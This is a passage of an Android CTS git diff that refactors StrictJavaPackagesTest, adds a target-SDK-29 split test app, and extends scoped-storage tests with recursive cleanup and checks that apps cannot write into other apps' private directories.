+ } catch (DeviceNotAvailableException e) {
+ throw new RuntimeException(e);
+ }
+ return true;
+ });
assertThat(filtered).isEmpty();
}
@@ -390,26 +517,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* @param jars a list of jar files.
* @return a multimap with the class name as a key and the jar files as a value.
*/
- private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars)
- throws Exception {
- final Multimap<String, String> allClasses = HashMultimap.create();
- jars.stream()
- .parallel()
- .forEach(jar -> {
- try {
- Classpaths.getClassDefsFromJar(getDevice(), jar)
- .stream()
- // Inner classes always go with their parent.
- .filter(classDef -> !classDef.getType().contains("$"))
- .forEach(classDef -> {
- synchronized (allClasses) {
- allClasses.put(classDef.getType(), jar);
- }
- });
- } catch (DeviceNotAvailableException | IOException e) {
- throw new RuntimeException(e);
- }
- });
+ private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars) {
+ final HashMultimap<String, String> allClasses = HashMultimap.create();
+ Multimaps.invertFrom(Multimaps.filterKeys(sJarsToClasses, jars::contains), allClasses);
return Multimaps.filterKeys(allClasses, key -> allClasses.get(key).size() > 1);
}
@@ -417,7 +527,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
assertThat(path).isNotNull();
try {
return getDevice().doesFileExist(path);
- } catch(DeviceNotAvailableException e) {
+ } catch (DeviceNotAvailableException e) {
throw new RuntimeException("Could not check whether " + path + " exists on device", e);
}
}
@@ -427,22 +537,24 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*
* @return the shared library name or the jar's path if it's not a shared library.
*/
- private String getSharedLibraryNameOrPath(String jar,
- ImmutableList<SharedLibraryInfo> sharedLibs) {
- return sharedLibs.stream()
- .filter(sharedLib -> sharedLib.paths.contains(jar))
- .map(sharedLib -> sharedLib.name)
- .findFirst().orElse(jar);
+ private String getSharedLibraryNameOrPath(String jar) {
+ return sSharedLibs.stream()
+ .filter(sharedLib -> sharedLib.paths.contains(jar))
+ .map(sharedLib -> sharedLib.name)
+ .findFirst().orElse(jar);
}
/**
* Check whether a list of jars are all different versions of the same library.
*/
- private boolean isSameLibrary(Collection<String> jars,
- ImmutableList<SharedLibraryInfo> sharedLibs) {
+ private boolean isSameLibrary(Collection<String> jars) {
return jars.stream()
- .map(jar -> getSharedLibraryNameOrPath(jar, sharedLibs))
- .distinct()
- .count() == 1;
+ .map(this::getSharedLibraryNameOrPath)
+ .distinct()
+ .count() == 1;
+ }
+
+ private boolean hasFeature(String featureName) throws DeviceNotAvailableException {
+ return getDevice().executeShellCommand("pm list features").contains(featureName);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 0abb593e0dd..096eb5af37d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -49,7 +49,7 @@ public class DirectBootHostTest extends BaseHostJUnit4Test {
private static final String CLASS = PKG + ".EncryptionAppTest";
private static final String APK = "CtsEncryptionApp.apk";
- private static final String OTHER_APK = "CtsSplitApp.apk";
+ private static final String OTHER_APK = "CtsSplitApp29.apk";
private static final String OTHER_PKG = "com.android.cts.splitapp";
private static final String MODE_NATIVE = "native";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index dcf30b4bfb9..c5fad14ab22 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -55,7 +55,7 @@ public class ResumeOnRebootHostTest extends BaseHostJUnit4Test {
private static final String CLASS = PKG + ".EncryptionAppTest";
private static final String APK = "CtsEncryptionApp.apk";
- private static final String OTHER_APK = "CtsSplitApp.apk";
+ private static final String OTHER_APK = "CtsSplitApp29.apk";
private static final String OTHER_PKG = "com.android.cts.splitapp";
private static final String FEATURE_REBOOT_ESCROW = "feature:android.hardware.reboot_escrow";
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
index 1a02f5200c1..c42fd09975f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -36,6 +36,7 @@ java_defaults {
"android.test.runner.stubs",
"android.test.base.stubs",
],
+ target_sdk_version: "current"
}
android_test_helper_app {
@@ -66,6 +67,35 @@ android_test_helper_app {
],
}
+android_test_helper_app {
+ name: "CtsSplitApp29",
+ defaults: ["CtsSplitAppDefaults"],
+ package_splits: [
+ "mdpi-v4",
+ "hdpi-v4",
+ "xhdpi-v4",
+ "xxhdpi-v4",
+ "v7",
+ "v23",
+ "fr",
+ "de",
+ ],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ ],
+ // Feature splits are dependent on this base, so it must be exported.
+ export_package_resources: true,
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts-mainline-infra",
+ ],
+ target_sdk_version: "29"
+}
+
// Define a variant with a different revision code
android_test_helper_app {
name: "CtsSplitAppDiffRevision",
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index 97a02e754e5..f61bc16ffea 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -21,8 +21,7 @@
<!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
to pass the build error, since tests need to use minSdkVersion 4. -->
- <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29" tools:overrideLibrary=
- "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+ <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index fbfd7061825..689141f98e1 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,7 +25,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppB",
@@ -36,7 +36,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC",
@@ -47,7 +47,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC30",
@@ -58,7 +58,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppCLegacy",
@@ -69,7 +69,7 @@ android_test_helper_app {
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppDLegacy",
@@ -80,7 +80,7 @@ android_test_helper_app {
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
@@ -92,7 +92,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppFileManagerBypassDB",
@@ -103,7 +103,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
@@ -114,7 +114,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
@@ -125,7 +125,7 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
@@ -228,7 +228,7 @@ android_test {
srcs: ["device/**/*.java"],
static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
compile_multilib: "both",
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
sdk_version: "test_current",
target_sdk_version: "31",
min_sdk_version: "30",
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 42a3a362933..320d5417f17 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -28,6 +28,12 @@
<option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
<option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" />
</target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
<option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
index 5b725e1a853..325807d45c3 100644
--- a/hostsidetests/scopedstorage/CoreTest.xml
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -27,6 +27,12 @@
<option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
<option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
</target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
</test>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index a93aeee3c98..ee63a8abf13 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -24,6 +24,7 @@ import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_
import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH;
@@ -40,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARAT
import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
@@ -93,6 +95,7 @@ public class ScopedStorageTestHelper extends Activity {
case CAN_READ_WRITE_QUERY:
case CREATE_FILE_QUERY:
case DELETE_FILE_QUERY:
+ case DELETE_RECURSIVE_QUERY:
case CAN_OPEN_FILE_FOR_READ_QUERY:
case CAN_OPEN_FILE_FOR_WRITE_QUERY:
case OPEN_FILE_FOR_READ_QUERY:
@@ -263,6 +266,9 @@ public class ScopedStorageTestHelper extends Activity {
case DELETE_FILE_QUERY:
intent.putExtra(queryType, file.delete());
return intent;
+ case DELETE_RECURSIVE_QUERY:
+ intent.putExtra(queryType, deleteRecursively(file));
+ return intent;
case SETATTR_QUERY:
int newTimeMillis = 12345000;
intent.putExtra(queryType, file.setLastModified(newTimeMillis));
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index 7e6f8953ed5..5730b2e2826 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -23,6 +23,11 @@
<option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
</target_preparer>
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 3c860132c50..c684ee25c8c 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -29,8 +29,10 @@ import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
@@ -43,6 +45,7 @@ import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
@@ -208,7 +211,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
"CtsScopedStorageTestAppFileManager.apk");
// A legacy targeting app with RES and WES permissions
private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
- "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
// The following apps are not installed at test startup - please install before using.
private static final TestApp APP_C = new TestApp("TestAppC",
@@ -522,7 +525,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public void testCreateAndDeleteEmptyDir() throws Exception {
final File externalFilesDir = getExternalFilesDir();
// Remove directory in order to create it again
- externalFilesDir.delete();
+ deleteRecursively(externalFilesDir);
// Can create own external files dir
assertThat(externalFilesDir.mkdir()).isTrue();
@@ -536,9 +539,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(dir2.mkdir()).isTrue();
// And can delete them all
- assertThat(dir2.delete()).isTrue();
- assertThat(dir1.delete()).isTrue();
- assertThat(externalFilesDir.delete()).isTrue();
+ assertThat(deleteRecursively(dir2)).isTrue();
+ assertThat(deleteRecursively(dir1)).isTrue();
+ assertThat(deleteRecursively(externalFilesDir)).isTrue();
// Can't create external dir for other apps
final File nonexistentPackageFileDir = new File(
@@ -616,7 +619,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// At this point, we're not sure who created this file, so we'll have both apps
// deleting it
mediaFile.delete();
- dirInDownload.delete();
+ deleteRecursively(dirInDownload);
}
}
@@ -753,7 +756,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(dir.list()).asList().doesNotContain(videoFileName);
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
- dir.delete();
+ deleteRecursively(dir);
}
}
@@ -785,7 +788,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
- dir.delete();
+ deleteRecursively(dir);
}
}
@@ -1159,7 +1162,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
try {
// Delete the directory if it already exists
if (podcastsDir.exists()) {
- deleteAsLegacyApp(podcastsDir);
+ deleteRecursivelyAsLegacyApp(podcastsDir);
}
assertThat(podcastsDir.exists()).isFalse();
assertThat(podcastsDirLowerCase.exists()).isFalse();
@@ -1580,7 +1583,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
videoFile1.delete();
videoFile2.delete();
videoFile3.delete();
- nonMediaDir.delete();
+ deleteRecursively(nonMediaDir);
}
}
@@ -1756,15 +1759,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
pdfFile.delete();
- nonMediaDirectory.delete();
+ deleteRecursively(nonMediaDirectory);
videoFile1.delete();
videoFile2.delete();
videoFile3.delete();
- mediaDirectory1.delete();
- mediaDirectory2.delete();
- mediaDirectory3.delete();
- mediaDirectory4.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ deleteRecursively(mediaDirectory3);
+ deleteRecursively(mediaDirectory4);
}
}
@@ -1790,7 +1793,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
- mediaDirectory1.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
}
}
@@ -1809,8 +1813,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
} finally {
- emptyDirectoryOldPath.delete();
- emptyDirectoryNewPath.delete();
+ deleteRecursively(emptyDirectoryOldPath);
+ deleteRecursively(emptyDirectoryNewPath);
}
}
@@ -1934,8 +1938,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
hiddenImageFile.delete();
imageFile.delete();
- hiddenDir.delete();
- nonHiddenDir.delete();
+ deleteRecursively(hiddenDir);
+ deleteRecursively(nonHiddenDir);
}
}
@@ -1974,7 +1978,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
noMediaFile.delete();
imageFile.delete();
videoFile.delete();
- directoryNoMedia.delete();
+ deleteRecursively(directoryNoMedia);
}
}
@@ -2352,8 +2356,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
otherAppVideoFile2.delete();
otherAppPdfFile1.delete();
otherAppPdfFile2.delete();
- dirInDcim.delete();
- dirInPictures.delete();
+ deleteRecursively(dirInDcim);
+ deleteRecursively(dirInPictures);
denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
@@ -2477,8 +2481,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
fileSpecialChars.delete();
fileSpecialChars1.delete();
fileSpecialChars2.delete();
- dirSpecialChars.delete();
- renamedDir.delete();
+ deleteRecursively(dirSpecialChars);
+ deleteRecursively(renamedDir);
}
}
@@ -2548,7 +2552,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
deleteAsLegacyApp(topLevelDir1);
deleteAsLegacyApp(topLevelDir2);
- nonTopLevelDir.delete();
+ deleteRecursively(nonTopLevelDir);
}
}
@@ -2786,18 +2790,57 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
}
}
+ /**
+ * Tests that System Gallery apps cannot insert files in other app's private directories.
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Tests that System Gallery apps cannot update files in other app's private directories.
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
@Test
public void testInsertFromExternalDirsViaRelativePath() throws Exception {
verifyInsertFromExternalMediaDirViaRelativePath_allowed();
verifyInsertFromExternalPrivateDirViaRelativePath_denied();
}
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
@Test
public void testUpdateToExternalDirsViaRelativePath() throws Exception {
verifyUpdateToExternalMediaDirViaRelativePath_allowed();
verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
}
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
@Test
public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
int uid = Process.myUid();
@@ -2810,6 +2853,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
}
}
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
@Test
public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
int uid = Process.myUid();
@@ -3336,4 +3382,14 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
Log.d(TAG, "Deleting file " + file);
deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
}
+
+ /**
+ * Deletes the given file/directory recursively. If the file is a directory, then deletes all
+ * of its children (files or directories) recursively.
+ */
+ private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
+ // Use a legacy app to delete this directory, since it could be outside shared storage.
+ Log.d(TAG, "Deleting directory " + dir);
+ deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index e4d3541b044..5638e41c0de 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -111,6 +111,46 @@ public class LegacyStorageHostTest extends BaseHostTestCase {
}
@Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception {
+ runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasRW");
+ }
+
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception {
+ runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasRW");
+ }
+
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasMES");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasMES");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery");
+ }
+
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery");
+ }
+
+ @Test
public void testMkdirInRandomPlaces_hasW() throws Exception {
revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
executeShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
@@ -219,6 +259,15 @@ public class LegacyStorageHostTest extends BaseHostTestCase {
runDeviceTest("testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates");
}
+ /**
+ * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a
+ * non default top level directory.
+ */
+ @Test
+ public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception {
+ runDeviceTest("testLegacySystemGalleryCanUpdateToExistingDirectory");
+ }
+
@Test
public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
@@ -254,4 +303,18 @@ public class LegacyStorageHostTest extends BaseHostTestCase {
public void testUpdateToExternalDirsViaRelativePath() throws Exception {
runDeviceTest("testUpdateToExternalDirsViaRelativePath");
}
+
+ private void allowAppOps(String... ops) throws Exception {
+ for (String op : ops) {
+ executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy "
+ + op + " allow");
+ }
+ }
+
+ private void denyAppOps(String... ops) throws Exception {
+ for (String op : ops) {
+ executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy "
+ + op + " deny");
+ }
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index d31bc33dfa9..cd9378d3047 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -125,6 +125,26 @@ public class ScopedStorageHostTest extends BaseHostTestCase {
}
@Test
+ public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCantInsertFilesInOtherAppPrivateDir");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir");
+ } finally {
